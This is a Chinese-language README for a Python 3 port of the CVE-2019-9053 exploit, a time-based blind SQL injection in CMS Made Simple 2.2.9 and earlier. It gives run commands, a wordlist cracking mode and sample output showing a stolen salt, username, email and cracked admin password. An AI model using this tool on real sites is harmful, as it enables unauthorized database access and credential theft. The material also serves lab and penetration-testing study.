针对 CMS Made Simple <= 2.2.9 的基于时间的盲 SQL 注入漏洞利用的 Python 3 移植版本。 原始漏洞利用由 Daniele Scanu @ Certimeter Group 编写。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2019-9053 |
| 受影响软件 | CMS Made Simple <= 2.2.9 |
| 漏洞类型 | 未认证的基于时间的盲 SQL 注入 |
| 攻击向量 | 网络(无需认证) |
| 参数 | News 模块中的 m1_idlist |
News 模块未能对 m1_idlist GET 参数进行净化处理,允许未认证的攻击者利用时间延迟逐字符地从数据库中提取敏感数据。
pip install requests termcolor
python3 CVE-2019-9053_py3.py -u http://target/cms
python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt
python3 CVE-2019-9053_py3.py --help
| 参数 | 描述 |
|---|---|
-u, --url | 目标 CMS Made Simple 安装的基础 URL |
-w, --wordlist | 用于密码破解的字典文件路径 |
-c, --crack | 启用密码破解模式(需要 -w) |
python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt
预期输出:
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123
cms_siteprefs 表中的 sitemask 值(密码盐值)cms_users 中提取 user_id = 1 的用户名cms_users 中提取 user_id = 1 的邮箱cms_users 中提取 user_id = 1 的 MD5 密码哈希MD5(salt + wordlist_entry),并与导出的哈希进行比对注入使用 SELECT SLEEP(N) 来推断每个字符 — 如果响应出现延迟,则说明猜测的字符正确。
提示: 如果脚本运行缓慢或不可靠,请增大脚本内的
TIME变量以补偿网络延迟。
| 变更 | 详情 |
|---|---|
print 语句 | 转换为 print() 函数 |
optparse | 替换为 argparse(optparse 在 Python 3 中已弃用) |
hashlib.md5() | 输入现在通过 .encode('utf-8') 编码为字节 |
| 文件读取 | 将 .readlines() 替换为 with 块和 .strip() |
本项目仅供教育用途。请参阅 Exploit-DB 上原始漏洞利用的许可条款。